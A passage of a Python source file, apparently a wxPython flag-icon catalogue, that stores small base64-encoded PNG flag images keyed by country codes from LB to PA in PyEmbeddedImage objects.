\"ASoV9J0bl3fwpgEdQnUJlQldmvLq+d2VYX9l2N94sTw315zV7Fg6ls4FqA2qlTAlKjotXGmu\"\n \"9nuZmZnXr/VuLfTqeTDIICWADWjJ1ajKMA6+x8lvTg+OfsXuQUegY1YmIwG2qKQywlTaOD7n\"\n \"xtvd9Sc3AWx/2Dv8yaag0qKVBlwe4+H61ssfX78pJIrBOpn+IIWblCiJopeWB6OPr9v3+HTp\"\n \"yxCMjEgqGXDYkcnMSBIkJEv4rFWgnP4nlTM8rTjj/g9Gz0RszhHEXAAAAABJRU5ErkJggg==\")\n\nindex.append('LB')\ncatalog['LB'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABUElE\"\n \"QVQokVVRvUoeARCcPQ/tRDu5iILPoOYt8gwJMVY+QXwAbUVrIXU6LaIhpLIIEpD4RUyhRJTE\"\n \"Dwsb8TPf7exOiuNOXZZhFmaW/bHfeIxssSFsebacQAlgan0VgDKRqQhFiFQQpOgiky4S9J8f\"\n \"dkoAKMu4/oukGAqq1Ymu2tNdrFV7UU0nUI5eXY1VFQBIkgC7ub/ZPtz+N3x48/JtNV4pU5Ik\"\n \"M4wuHRUoCpjBTGawQob98y/H/d73/tHe2b4rBbRpzCwys+0uQcf93ufTvduH29qHu72dX/0T\"\n \"dQFkY+jUKW0dbIZCCQ+vw9e+rrPTSyTLztCssfFq48/d9fLHpVC8m3+9MLMY6YaRZgoAdgq8\"\n \"eL8Slxdine5yz3ooOuuhkSLlFF3Bcnbu26fDkoAGA5uYBL1giG7uohfOpKO5coQYuh8AsB/P\"\n \"H5lPHtyVaBHAfxBTROajm4qVAAAAAElFTkSuQmCC\")\n\nindex.append('LI')\ncatalog['LI'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABVklE\"\n \"<KEY>\"\n \"<KEY>\"\n \"+6/rh9/Xj09WpVKWlHJKSaWcL5/tdzQA9XBzf6mfNcXO9GhjvPLk42My6aRMJZWkb0+WATUA\"\n \"WTj4tHX96nxpdCbr1YdtcqE6lEEHHUopgejIxhzeft56c7gp57mvUAibhogQ6CEECucG0Pr9\"\n \"04N78/GN2W+pLFu0JKVo0pJNSZY8uXbzNXb7u9neyq8xfhyXo6gii/F/pjhqG48w63Ng2dTC\"\n \"ViRZihRLTEWRpSixpJF1AnQAJRWZ5MUZo8i8+GYxSky72Qn0BEoaJmtNhJzkYCbZpBQhlZTp\"\n \"ZsNOYDgCBORl4u/5DwD+AH37YQGY0d3gAAAAAElFTkSuQmCC\")\n\nindex.append('LT')\ncatalog['LT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABIElE\"\n \"QVQokVWNMU6cUQyE518eQjShBgpOgOi4QSROxAWi3CNtijSp03ACRKJUVFAgBaVCK4E845kU\"\n \"b1mCZY0+22N74W9A2IYFAzDgDVuvLHiFAWF19AlA0oh30DsxomzTQpgI5tOvr2OsgAXRw5Ke\"\n \"PqTnGJlZMWMuu8cAxs81jkosJj1P2kw0TU55gmt3r64fMc5+4PLj8/16rZYsmjTZLJNd1cXm\"\n \"1JMPB1dfMPACudmUJYvNcrFJs7qq39bUwhoDQEeKyqWeH6q8WSsXJ4cMAYxvn3EaPt+Vqai6\"\n \"aE0bzdpoM9T+ib7fYJwDB3/VfxjSZKpStYFtR4x67PcFMApoKoeHIaGOGBIkJJCLBCndS7e6\"\n \"X4DlFhDgV/X7Ev/1DayAfyUid0PrCp4LAAAAAElFTkSuQmCC\")\n\nindex.append('LU')\ncatalog['LU'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABGklE\"\n \"QVQokX2PMUqDURCE5yWvUETjD2IEQUERbKy9hZV4EgttAxaewnPoCSw8hpW/gagRw3s7MxZ/\"\n \"TBp1WIZvh2Vhkk9P8D4BAEASSiBmKKFSVKoKVCEsJ2PyiusRAEvJQtAWyET1yV5UkyYd1eR0\"\n \"dJsxK6jF7QtEUI4Aw6SDjuoajuqorjUNdwRknJ374Ahb26BsgjLpuYdJi44wicFA+8M0Ho+b\"\n \"pgFgG4bhv5RSats2d3W7aAG/CilJysuj///byZaULx83Lo49+TIF2pQph7zgro6EZtVX9/18\"\n \"96TDzf7zhysRcqUrHXSVYwFyCHvreHtABtRDb3cNYQdBgUJV6iDUJYm2BGSldPPpqRBCEYoQ\"\n \"QPlZpTmrc2AF3+HEeWs6fQpmAAAAAElFTkSuQmCC\")\n\nindex.append('LV')\ncatalog['LV'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABGklE\"\n \"QVQokXWRMWpCURBF75OHQhRSC2rhXtJkKfYhhQtInTLbcBNi87dgCEkRSKGSgMydO5Pi/y+m\"\n \"yDBc7oOZN8Oc8gyc0UUA3ut1Wq8DoH4Dd+s1gIzIiJTCFfJ0D/cg5R5kuIt82WxqBYD8ef9I\"\n \"KaQgWxUZpIyihZnI8XweQD0DHsnrajO5h1E00WSUmcgheQLK5243WSxklpmISCDa3TI7E92j\"\n \"Doev222RVErJzMwEkP9HGQyOh0P9aprxbCYzdH9mXib0vh1VR6O33a48Aver1XG/D3eZBbuN\"\n \"dTFm7ZVul8unpqkBhHuS0aZZmAWZZklma5zpSglANSDpN9NpkOGS9509hHSX1B7dgfIAnHqQ\"\n \"dgXV/mJu8U+AX3wogUmU2HzTAAAAAElFTkSuQmCC\")\n\nindex.append('LY')\ncatalog['LY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA3ElE\"\n \"QVQokVVR223DQAxjAH+kE7RARul0QaboAP3IYpmhEB/qh2zHPgiCdEeKPOiCH5yOgADaYup6\"\n \"5wXA4/vRQOB03E6iSC21FCliKIvN5+9zAdDo19/LsduDGNBEhXQxvH3cVoV0HM88xwwVlYtN\"\n \"hjRpVkotFBYEhsfDoFdQyFRtdbloQkOI1WLkaIOyUjQrZGouHaOwQHBrbOzo8XAky2K4EmTT\"\n \"3D866rsIm/MqCxlC62T9ML5ChTIZuw1hgcDw8/rliJHylpJlSLYit91GcMH9tMg1T5FDOysH\"\n \"/gF/KJDzB2IFMQAAAABJRU5ErkJggg==\")\n\nindex.append('MA')\ncatalog['MA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA7ElE\"\n \"QVQokX1RMUoEQRCsORe5L5ywqWBiYuDj7lf3jENDQQMzzQ3uELuquwxmj90FsSmKYaaLrqlu\"\n \"xly1Pv+JZgD7PQBXoQqZViJlCZJJL/h0OAwAAPvjE5nINNl5QtAMR5hs41jAAMDlVXdESSYR\"\n \"YYaDXQCygKGAlgnJEiiL3+bzPUt8OMb1T5izAMAGALTwQL7fxHkbp228jpfuDuliKWXJDFAm\"\n \"b9/iy0zF3Qu9mNBmS6QjIPWHDePxiSaLCz+SJXXBVf/iFMuUiSPmGxFKZKILNhR2O5NQQgTZ\"\n \"SEjoLPUMkVlAO68X+c+Oe/0C+ctawBP+hnQAAAAASUVORK5CYII=\")\n\nindex.append('MC')\ncatalog['MC'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAAyUlE\"\n \"QVQokYWPS2oDQRBDXw/tC3hpmJP6Vr6BT+ELJGDwNqtutZRFD06GOIkoChUl1aeEL3jPX0YJ\"\n \"cD4DsbEZIxoMRUJK7/mWPy6XCkDy9s4YjJHeZ96i9fSW1tJ7WVdDBeLs1K1F2qS9pfVpoHdD\"\n \"NZQxkCLRFb2Y/TQAlcOBdU2tGZ6nbxf/eIDTyddreTwex+MxSQghv2NZltvtVm3PGv5Sz67t\"\n \"ansW/xoASduGp2eilMIOBbZutX2/3yVJsj0XPrkkY4ykZVmAT1MWYm5ocuzlAAAAAElFTkSu\"\n \"QmCC\")\n\nindex.append('MD')\ncatalog['MD'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABW0lE\"\n \"QVQokT2Qu2pVYRSEZ++zTzTeQIIQIl664Bv4AsHCdGmigpa2AUtbGysfQHuxsbKLaLCxtROs\"\n \"BI1gJKJED8k/s2YszjbDx1SzZmB1WNzGsYT6tIYB+AUbPgUbH1ZhQBh9APDoySqAMmx0Sw+T\"\n \"4Cy71CQHfaZXthQxJVMfnz0fACDY/cGqVCX6gunBq5enXby5Pkt49JkhQw4rFxvQwyhjnlYF\"\n \"qb3dunpp1g759dvfpIXNIzLQQ3CgisqUE+68Xjz/tF1/M9vZXoibG91atRZRwICyFM1dTljV\"\n \"nbnRYup7HzdTJkP+P4DKJq2K6LhJ3cbbx6TvXNtKOKZJSwYGwJKpUC46aZu32I4elNrde39i\"\n \"pimiyajGBRYozytiZvh5e4N2S8f4pDl/a7nGBUleXppKYRmTFfjC5Bx7K/mNyYmFy5UqV6HK\"\n \"QAe8AHTM/vv77uFD2CPv1mCMAPgHcLpkVfGzF3MAAAAASUVORK5CYII=\")\n\nindex.append('MG')\ncatalog['MG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABAElE\"\n \"QVQokXWOPU5CARCE58lLiAlGEgoqGhsu5Dk8hVyIQ1h4DUQSMaGQhp3ZWYv3g8a42Uy2+GZm\"\n \"m9PphGFszxeL/v5nWwDz+RxAVQHAZlPHT6QaaSLdkCXVoOfttu3yehqo/R6HQ5H9BotREUU2\"\n \"q1XfcKWrIFVEST3KqGBnAGmgtX2lCxX6mz0aMBqqqus5TnmehcUizTBpRjFSnN7rZXyp+nw8\"\n \"PfL9K6IYk2AyHExGBs2HO75e0Noe46sqFRcGzV90UlZOhI8fL3U65g1KZsiUU05oaBg9y9ul\"\n \"0yzKoqmUSpmZlelEoNntdrZtS7K9fl7jDTBwAwgQEIAAAwJm+AYksGMfxpLrpwAAAABJRU5E\"\n \"rkJggg==\")\n\nindex.append('MK')\ncatalog['MK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABiElE\"\n \"<KEY>\"\n \"<KEY>\"\n \"flyblUopzkJk02RnPPtCzvRW+UJ6SGunn7ZMwg57dInzhZnid6IUL8qt/FkOeTh8ObygZnqg\"\n \"vqIF/NPcK+wrPia2FT8Lz6eRCZ8IH5Anw2/EoCq0dZRmsPAnvZgspA/KR+RRucrL4V/hKXk9\"\n \"vEsMiRe0vAaK1+W15Hv6vUx4TLb8IdyTb4b3hvtFf9brtBzFF9Mf0z+CjfSQ3AnPyQ5/k9fD\"\n \"j2SHt6s5rHqHts7RjMhfg4H02fAX+UlYsuWX4ZPylfADMZ9ezYS2Qqc/PS4OydPy83CEh+Ut\"\n \"4Yfyffl4eEq8LcwWoK2n6JtIujt9VywVdgup2S/6kj1CyafkVuFa4UypAzS9HvUcdZYKFYAK\"\n \"dY5aqWObuLk6sMA/749Ehz/eU98AAAAASUVORK5CYII=\")\n\nindex.append('MM')\ncatalog['MM'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABF0lE\"\n \"QVQokW2RsS5EURCGv3Ndi0i0KLZQUPEgHkWv3YfZnsYT6MQ7CMm2IuJirzv/nDOKw41FMplm\"\n \"/u+ffzIJbsABmIBBgRY6cVrgb7Xgs9nB7t7k5Hjz4yOur7u+Tykr+dmaeyOFe3z3t6urFlhf\"\n \"b44ON6bTSSn0/fZ8/owsdB9SmEIWZiGl6bRuoJSAiEgRpUSYleTlSyoLUwWQKtD0Aze3vYn3\"\n \"Zb64fJEaVMJs9B4B6n0xDHcPw+Pitet8+ZyTUaQVdQXcC7RPnG7l89wvSickpJAa68OG0fvr\"\n \"hhppB5KWYa+4/xz/UuMe7g5tgTX3+PYeA6xgLjyTMxVo5Ozvh4RnXEhJwp3a3cm5VoH0vvpI\"\n \"/vvuOAI+ATPsVhKSc7rOAAAAAElFTkSuQmCC\")\n\nindex.append('MN')\ncatalog['MN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABHklE\"\n \"QVQokV2RsWqVQRSEv/3vHxSxiCSFUdKIknfIO1iFQArfJPggvkZewN7WwsJKREEQQbwJyc7s\"\n \"Tor9b+7FwxR7DjNn5rAlbKvDil9wuOk63FzzrG+aDjPA5SWn5FMvt/19f/pPpbXYxV6hx3t+\"\n \"Fyl2pPXV1QxAcvSD340/7bvbX0dakNq7vqbWSOX4uMME5G3Yb1y0SDK1RorqoPXUukDqMHco\"\n \"HxtvnC9msm+X3UOWmgcpEsOB8xaUM+VQ2q570GxG9nJ0ivPamSuy1Ad1sNlxKNtIXXEFp9Za\"\n \"c3e3TcVwkLBjewhWzfkpHinWf3kWgYUbrTEE0wezPsosaC9eTk+EVGwkiqfiV7Q20KFc7/xi\"\n \"hwM+w/OdwfobJ+M16h6eGU4S17GA1gAAAABJRU5ErkJggg==\")\n\nindex.append('MO')\ncatalog['MO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABj0lE\"\n \"QVQokU2RMWtTcRTFz3v+CZQXaeoSGoliJlts1aVLqZP9CN0EQRRBQQSjgt38Burk7GqHdujk\"\n \"IkjBSRdXoWrqEEig5JH37j33XocY6Bl+nOXAgV+GN0CF/3GAc8q8zPqMCQkT7G7vAvBwD7cw\"\n \"0rKcACc1GapOuqpTTQ/eHyQkAPGnHFiYmXlokcxC77azd8flhHpai4SoabfZhSOHwz3MjW4e\"\n \"eq+TlypFuvS5vClORP20C6EIRU0hyAEYjEGaRvDD33Jc8/bF7f76C7GCLm9/T4QiJuqzAUE3\"\n \"NVXXO22strYeXL2/2lpBxLP1Jw9XXo0rvLyciwmNIM7hFjZ6G6N6JC5fx/L42qPN9mYjb5yU\"\n \"J9cv3DjfaC41Wq9/fNLQxcbi4MsggdBQMaFTTfpH/YW0ULOecpqyNKpGw+lQXek0J4gEgsbZ\"\n \"JTWdarVzZadTdNaW1g5/HX4bft/7+ZGhdKMbiIQK6lwultWUbqTuH++7O52VVXT2Wj0zszBz\"\n \"gyDDc+B0LlLmUqszpuWM/ib+Ab9BPtFV+EpyAAAAAElFTkSuQmCC\")\n\nindex.append('MT')\ncatalog['MT'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA70lE\"\n \"QVQokW2RsW7CUAxFb17crfQLYGKhZUAMZeGv+DT+JlLVMjEEBqLQ5dnPt8NLQtL2yrI83HNt\"\n \"yUXTNHBHCBjJr9fn5dKBvyUi8iRSVdV6/YYiACABER4OZdsGVZqx7/fjUdzs4+uzPp9NdbPd\"\n \"kgTAlHg68XZjVGpkjFQtFgsHJIisVq/t/fvhJunOmH2RUTMAVQfE3RHC+25HEgTBTqo98wDQ\"\n \"Aehcw0By4s6AWbehc0zye2C0ocgn/R/vHHxDPM1sfNIEoE/iTWEJKWHYMPSsoiwxn2M2gxnM\"\n \"kFIuB4rL5WJm3qub6/plv//146wfNaZa7RkAoEoAAAAASUVORK5CYII=\")\n\nindex.append('MX')\ncatalog['MX'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABcElE\"\n \"QVQokUWQQYvNcRiFz/83/7lNSHfuNIRmalaUBRsbuhuz4SNI8gUsfAULCxtla+EL2CsWYqGk\"\n \"xJQN6VIyZaKkG9f7nvcci/+UZ/HsTk+dDtcPovUYIL/dnTU0SQAkcbHY29oCQECAgB5ot67e\"\n \"ATqponKyuta6Btg2AGcu37gJWUVnfnhwvwcAY/fXXqn+ZNhG5//IMftsy5lLx48NBckqiSqK\"\n \"hm3P3j2TtHHqwpKtDEgiG5NAg1gWXazKou0v719+//T24b3bH988NuAIZSpSSQE9IkpiMYus\"\n \"sj0aH5m3wwc2T49PnLRkUiWRJgk00FRlMYuhtP309YuvK5PVs2eevHouWxHKNNNMAA0ExaEQ\"\n \"GYYvntvW/Aerts9fsl2RzlSkWQR6BIpDIaNoeTJev3L52v5JEc6wYZVL+4MUjx5ay8rf+bfr\"\n \"OgCDAXStLW9uALAspoAOU4DAAhDwEzuPdkZtRFKSpJjPd6fTBhAA0IB/+qNU8P1bz0wAAAAA\"\n \"SUVORK5CYII=\")\n\nindex.append('MY')\ncatalog['MY'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABoklE\"\n \"QVQokU2RP2gUYRDF35dvveyZU3NiGj0METGNBCzsBLX0KquAVqK9GywMWFqlsBElIiJYpIg2\"\n \"hojYRFJd4Cr/gMihuTtDvIuaxj8k7jez8yx2o07x+M0UjzczDmhWy68X524BqF+89jOdAAyw\"\n \"Jk4P5wTof+qq5fufOh7AcmP8+PhaqZQ+fX7iQ3v/zM0Dgz4jQDPu1K9eL7p+dRE4v9Lcd3Ji\"\n \"pbJ7C5bVz/anXk5uXr4SI6UoJZgIQ/C1Qx/nH0cAANv4Ujl2ZKAS69a2JzMRDD+Yjb2SRhbi\"\n \"vD+aTLkhf+9r35j1Z+7UL00ugzr76NSrtwcflqbLSE3VRBiEKr5We7+w4IDG3dtD5868ILPk\"\n \"xgVRhmAifPZkpOwDyWIHwHn/vd12TeBwMp121yBiKlRhEAsSyw8XD1LERHLdNTr6bmnJSf+z\"\n \"27OXWQaiCJuHNiu8zUiCdFG0ubrqWsBIkmi3ayJUpYjlmUQYAkUsH2ZZaWzsTaPhtjudqFot\"\n \"bHauDrN/HwBoBhLAt1YrChu93+vrZmaqpvoXVNXMkPeagw0AfwC6FlrZi8M1hwAAAABJRU5E\"\n \"rkJggg==\")\n\nindex.append('MZ')\ncatalog['MZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABhUlE\"\n \"QVQokU3GPWuTYRjF8XM3d2JtbenSQoRHLXQUOvsFBMFJ0E27dxMXUayOgopzcXByEHEJiC+f\"\n \"QDrVLtVJF4tpkqIxiel9rutcDvKA8Od3TnqyjlvXgFPAFBBgtf9XajNSAN+e3u2s48eSVOTh\"\n \"JneZhZnMRLqZSBmdne1OBnCuHxsvvz+/4DurTtLldFKkSGdRKV7orOYrZGQAoVhMvvner96/\"\n \"2WyfjYiIUKgeRYSknPP+6f08AT7P+epl+/PC2luP9pifkQc0kiylkDSykGR1pup86MwUoH0x\"\n \"bb1eWdiYizQ5Px5cGfV7o15v1Dv81/CwO+x2h93BeAAgT4FXb/zh9cnRu9nZI//ozW1DIQpB\"\n \"Q2GioViiNWgtAOkYaNzZjN2vmDc9uPdracEkRIQUkkKQFB5So3nyy97bDAB9iwZxiWjdXvxd\"\n \"QiXEWoZKBBGeTqytHXzKAmaWDTfaURFTRxDBFAQMIJIhGeAIx7GrjzRehh5DK9BPyACDBBlU\"\n \"INXfIAAGtPAXn2ZJkhleGGQAAAAASUVORK5CYII=\")\n\nindex.append('NG')\ncatalog['NG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABHklE\"\n \"QVQokXWRsU5VYRCEv3M54ZpAIrkNoaCh4UGIvQ9AbXwBKxore0tfg5fgIShotKEgkWBy8u/M\"\n \"rMWJSiBOsc3O5pvJTnyFBYCAuPtwd7R/lARI8rA8nH85RxAYMDPzxNW7q3WdzvHueLt5A93d\"\n \"wLa2l+8vRVVUrutv1zMz0N9//XBsOwmb/ivHtz9vR0alTg9PCTMhaceK5epXGh4jo1zlYjAD\"\n \"xmopUvTCnWR4DI9KVdYDobhcshQ1rwgaayRZiBnhSNHIkF8S/kXqZ4TqGh6yyqPT/ax0OsOj\"\n \"uhQ5fwiy1k71n9LqUlsxYmahopODk3JJnqYJWCewt9k7e3vmttuOGUx8gkcQLLBw8/lmt79b\"\n \"Py3p/un+4uMFAUBwyG/TfHYgwNw2twAAAABJRU5ErkJggg==\")\n\nindex.append('NI')\ncatalog['NI'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABO0lE\"\n \"QVQokV1RsWpUARCcvXuB3CkcwYQIKmmMrU0ES/2CNPmItPcFgRT+gpWFpSCIVcBfSJO0NldZ\"\n \"KUEfd5683ZlJ8e7gzmFgYZllmZnA1OiwgoTCmkIJ3TaBBh0uzgBAthwUaJRMRmmYHJRcdMol\"\n \"f76cNyjA+NGaAoWSi0g5udJluaOTfjoJ/FXz6gTH+94bQQbVn5laUpUaF91/KPlgjK9vFCQj\"\n \"AoBtGIY9/5DzVspmPPKDc68REW3bDnq3q10/2V3NXnz/8sdMbwKQ1GyqsbqIt0c3fLZrbOnD\"\n \"lhQv3+f0dfxceO3YJUX+prXUhELRZZM4fBjvPv5qbr/p+slwduckOvaZIDXJcpa7PlO6iOeP\"\n \"gE9oUEoMHk9QdBIlJJGMIlIQkUYxZJcAKHC6wHxdZAn/8H+7feUpANjBPS8xYruwWMQjAAAA\"\n \"AElFTkSuQmCC\")\n\nindex.append('NL')\ncatalog['NL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA/UlE\"\n \"QVQokX2OzSqFYRSF16tPUueMJAnhElyByzKQCzAyNXQN5u7lJDE4RUeU3r1+DD4OCqvd6mm3\"\n \"9mq34Ev+yb9OC4DTcwCxYUEKDTEUyBRDpWr0l+urAQDA3D1AgpwiVCmmmKp0pnp6pXrb2zEw\"\n \"YPMou/tYm0AOCSlUyJAfMB6T2No00BaLxXQ6BZAEQZC/1FqbzWaD7TGdZAm/Cq2RHLwM/d+f\"\n \"tARAw+HFydnx7fy1aMqdKrmo4tJNuqSDrcnN+eWA++en1z5fvBVdcqd7qahOL5007cn6KvA4\"\n \"oLvk7Y31sYlyyaWx1aToSJYtjS/hFOhAB/gN+G1DwJ++8g7ZJGpzVKC8RwAAAABJRU5ErkJg\"\n \"gg==\")\n\nindex.append('NO')\ncatalog['NO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABWklE\"\n \"QVQokW2RsWpUYRSE57/32lhIltVik6yE2FiIpY3gS9hZiGAXTBGxkzyBgTxAGou0wpKnEAIq\"\n \"QuyMK2iIRbgQ0vjPnDMWdxcsMsVwisOcM3zlJxa6a9989vXq8MG8bRNIAMAw6D/vAIx23wKw\"\n \"vfditZQyfr3jECRLFk1ZTMrk99lRBwBw/voN4E8v25rPLYJM0qRZs1ZXttPp4gLCVgCITABW\"\n \"NeVKs5o1SdeaZEMK6NYjSinDSwrbXvkw83Uqpdy/vCzt08/7L9fOe0ZasjIVZqTCVCqSYcmM\"\n \"XB3dOHh1XCJiiDf85v3Zu+eTa+NtN03T93132ra3t7d0+mNldsSw7Ysnj7MySbBm5aIG1d3b\"\n \"PDn+1CVgyqRtRtrOv8NGNenKZDWZEVAI6BKw1Ewmtu/c6gC069MmmBTEpFopIxCREQDKyRLh\"\n \"Rt+PHn68+PLo23isJeMBMJYO4B/0nlqS8nC3FwAAAABJRU5ErkJggg==\")\n\nindex.append('NP')\ncatalog['NP'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAABHNCSVQICAgIfAhkiAAAATdJ\"\n \"REFUKJGVkMErg3Ecxj/vEGvZZi1pxEWtxYk4OCvJRUpOjv6M5eCyUu5ylByclDhZOCAHuSo1\"\n \"jNW7wstqel/vfo+bNjNtn9tzeD49369FFWOpS/PS2Q1IDzejbbTKeOpcDqhgWWZg5KTUTCdQ\"\n \"HSqmhA/E83nrdjcW6k/tl1sSGPNB1HGQ69IeDFq544lgYnjLb1rgV14pZ7MEwmECkQj5RILD\"\n \"u5W2vsFVNRJY1SE5tKajhzQGmJ8+4N1+pOzYSC4yHm+FDeu3oL06fFVsPCCeyZD1rklulnh7\"\n \"Xq8rNWSwb1HFdFru/b3cXE65uTmFe5cbzoe6H9hUHAd8H3yfjliMneI2oejMv5IfemOTugA9\"\n \"LS0pv7CgM9ApaA/U1T31p6TmvlDPrKQvkIdkkAzIIAESkvA+r2o63/P7kcPE9IErAAAAAElF\"\n \"TkSuQmCC\")\n\nindex.append('NR')\ncatalog['NR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABUUlE\"\n \"QVQokVWRMUtXARTFz9M3SBCiQfgHg3RyCFpahKQv0BC0Bq0ObU0trroJTuFnkD5E5Ozg5BAh\"\n \"JZQRgmLvvXvPOdfh9Zc8nOHC/V24nNNg8hbEP9kIgkQQCoBA/OceYAtia+cNAMsuSJJNWTZp\"\n \"SkmTSimpT9sfWgCoOvt9KZckalw7qVtHMqnlh/NAtDAkUEVZMumQSSc9pZVUUJkCosU9zs5w\"\n \"FlmNClUly5JkSeT4oGTRReBv++3j58W1FzmcU4TVQGWWWU6bZdpZps12bulkUe3Kq2fvdyff\"\n \"f86tP3l0eHx6eT1EKpMhZSookplK6vFk4cs+ZpDM9MbT1Xevn29vvpSbrmeX1Q/uw/2gbnAX\"\n \"7sJBAGiBIHV0cvbrz9XXH+d9P+Q0RJKUSFGSbWs86JOuBnsHhxdX3dKD+5STnqKmxBGXADTA\"\n \"+t06x0Zv58Jd3QAELXK+OQKNnAAAAABJRU5ErkJggg==\")\n\nindex.append('NZ')\ncatalog['NZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAB2ElE\"\n \"QVQokU2RPWtTYRiG75ycJD2HNM1Jk8YQa8FGMQGx/<KEY>\"\n \"<KEY>\"\n \"IzeG9MVzJ688KQEtgAEG2oACFGAHTqdvzT2f4GS6vfYdfguZbCyVeLNQXVzfJ9LM+rxb/tDo\"\n \"b/hMbF4/nrRnrBfB1ULkby20Vzd+O+TF26TP+upVbdQnM+4Uc83fdT8+tZMczMYBtl66I5TL\"\n \"h4dzFEvoo0M9I2cOEpml0LEOG0XyrJb6VO+bKg1MeEUjAiirOnY5EI093XC2At4WuTP1QTuf\"\n \"r4djbSV3vbWkg9nKwDV384SpXYgUARU81fB2ndSX5T++31mv0sdvOyu7kuqRxTKPO9sFU5nb\"\n \"8xYabr9uvjXD2z/e27O/7NvBOMfwlXuZhPr4Z4VWSqLI3NwsKGIiViTTfva4I4CyACbSSjST\"\n \"EIlSukNGke56RFqRXI9uMImwBpQNMLOQEmLpSoqElKhuz/wwveTpZqe3My+j3aBFbDLpKJEw\"\n \"C7MmFmJhEmLNLNOhsUuR4rxOixhAAsBV4ODQlwrgQ/s/YUAD7j/4kDqsVjcKdgAAAABJRU5E\"\n \"rkJggg==\")\n\nindex.append('OM')\ncatalog['OM'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABGklE\"\n \"QVQokXWNPUpDARCE58WngvjTCYIQiB7AVtBjeAA9g6RO52ls08YcwNzAJkUsTRrBndlZixf/\"\n \"UL9iZpadZZsJfnD2sgJsG539ogVwuVy+zmY75+fPo9HBwV4VgKpP+8ZisWgB5Gq1e3Hx9vQU\"\n \"8/mfvY6maST1AGwcHi7H463BwOR/7Q7bzQQ4HQ7f5vOSikqxSJMOFsMRJivC5Ha//zCdtgZK\"\n \"WWRJpiAiAiTIiqhOuyABaAVUqiQzTPXIYiDYRDRca3WZ7K0PSEdYqoibW0YGk/Q6hIOmUif7\"\n \"erxDC8CSSZNFRsZXLxlJOmTKqUx4/UGbR0dFWnm8Q5pMyqIpS6XMTGciITT3gAABBgRcXwEB\"\n \"CHgFDPhj7NbAO7zseXjgtt+GAAAAAElFTkSuQmCC\")\n\nindex.append('PA')\ncatalog['PA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABTUlE\"\n \"QVQokVWQvUrcURTE517/KQJxm4WFCGJhZcDWVhAsrO3zDLaxTC1i6UMEBXshPoGVbBOIhVoo\"\n \"BnfV4J6PGYvrLjocDlP8zmcZjUZ4JxIASaLfJ9AipoZAB6DX6wH4918k+vOQAMh2dvj8LHdF\"\n \"zPLdyUnXGt+M9es8nyb6vlYXekVS/r3k41jmdJOZ3OviYrQJkr7OY3UBT5PSaEmNo5vMWwHd\"\n 